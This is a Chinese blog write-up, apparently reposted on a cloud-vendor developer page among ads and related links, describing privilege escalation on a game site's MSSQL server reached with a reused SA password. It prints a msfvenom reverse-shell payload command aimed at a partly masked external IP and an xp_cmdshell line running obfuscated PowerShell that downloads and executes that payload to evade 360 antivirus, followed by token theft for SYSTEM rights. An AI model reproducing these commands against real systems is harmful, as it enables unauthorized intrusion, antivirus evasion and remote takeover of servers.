MSSQL绕过360提权实战案例

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: MSSQL绕过360提权实战案例

0x01 前言

这个案例是帮“ChaBug”群里一个朋友看的,说是某QP站点,直接是个支持外链的MSSQL,但不是弱口令,SA密码是在以前的服务器上找到的,这台机器应该是刚搬迁过来的服务器,用了原来的SA密码,所以可以直接远程连接,并支持xp_cmdshell执行命令,未做站库分离处理!


0x02 搜集

目标机器基本信息:

    目标系统:Windows Server 2012 R2(Apache2.4.23 + PHP7.1.9)
    数据库版本:Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
    当前权限:nt service\mssqlserver
    开放端口:80、135、1433、2383、3306、3389、22222(Tomcat/8.5.42)......
    进程名称:phpStudy.exe、http.exe、httpd.exe、mysqld.exe、navicat.exe、androidLoad.exe、GameServer.exe(游戏服务端)、LogServer.exe(日志服务)、redis-cli.exe(redis客户端)、redis-server.exe(redis服务端)、Tomcat8.new.exe(Tomcat8.new服务)、Tomcat8.neww.exe、sqlservr.exe(MSSQL服务端)、ZhuDongFangYu.exe(360主动防御)......


    将目标机器的进程列表拿到开源的“Windows杀软在线对比辅助”上进行对比发现存在360主动防御的进程,当前权限为nt service\mssqlserver。

    0x03 实战提权过程

    根据他的描述说是项目站点放在C盘,但是在当前权限下不能用dir命令查看C盘下的文件,会提示“拒绝访问。只能查看D盘下的文件,经过测试发现确实如此,但他的思路局限于非得找到网站绝对路径,写入Webshell后再进行权限提升,其实大可不必这样。

    而我的思路就是直接利用MSF的web_delivery或hta_server模块来获取一个Meterpreter会话,然后再进行权限提升即可。但是在测试过程中也遇到一点小问题,web_delivery执行时出现“标识符太长”的报错,hta_server执行底层powershell.exe时被360的进程防护给拦截了。


    这里我们重新生成一个psh-reflection格式的Payload,然后用xp_cmdshell来执行经过混淆后的Powershell远程执行ps1脚本命令,可以看到已经成功获取到目标机器会话了,其实这也就是这篇文章中主要讲的利用Powershell命令混淆来绕过360进程防护拦截

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=39.**.**.238 LPORT=443 -f psh-reflection > /tmp/360.ps1

    exec master.dbo.xp_cmdshell "powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a+$b)"


    获取到会话后可直接使用Incognito扩展来进行权限提升,因为目标机器上有在运行navicat.exe数据库连接工具,并以Windows身份验证的方式连接的MSSQL,所以会拥有高权限令牌


    注:通过前期的信息搜集得知里边还运行着phpStudy、Tomcat,它们默认都是以高权限运行的,所以也可以尝试找到绝对路径往里边写一个Webshell来进行权限提升,不过这个案例中禁止当前权限读取C盘下的文件,写入权限就更不用说了,这里仅为大家扩展这么一种提权思路。



    相关实践学习
    基于Redis实现在线游戏积分排行榜
    本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
    云数据库 Redis 版使用教程
    云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
    相关文章
    |
    5月前
    |
    Shell Linux 网络安全
    linux系统防CC攻击自动拉黑IP增强版(Shell脚本)
    linux系统防CC攻击自动拉黑IP增强版(Shell脚本)
    195 0
    |
    安全 PHP Apache
    记一次匈牙利服务器提权案例
    记一次匈牙利服务器提权案例
    81 0
    |
    5月前
    |
    SQL 安全 关系型数据库
    接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
    接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
    565 6
    |
    开发框架 安全 .NET
    星外虚拟主机提权实战案例
    星外虚拟主机提权实战案例
    188 0
    |
    开发框架 安全 .NET
    VHAdmin虚拟主机提权实战案例
    VHAdmin虚拟主机提权实战案例
    99 0
    |
    SQL Shell 数据库
    MSSQL绕过微软杀毒提权案例
    MSSQL绕过微软杀毒提权案例
    223 0
    |
    开发框架 安全 .NET
    记一次绕过安全狗和360提权案例
    记一次绕过安全狗和360提权案例
    154 0
    |
    安全 关系型数据库 MySQL
    黑吃黑Getshell到提权实战案例
    黑吃黑Getshell到提权实战案例
    310 0
    |
    运维 关系型数据库 MySQL
    绕过360安全卫士提权实战案例
    绕过360安全卫士提权实战案例
    368 1
    |
    网络协议 Shell Linux
    MSSQL站库分离注入绕过WDF提权
    MSSQL站库分离注入绕过WDF提权
    225 0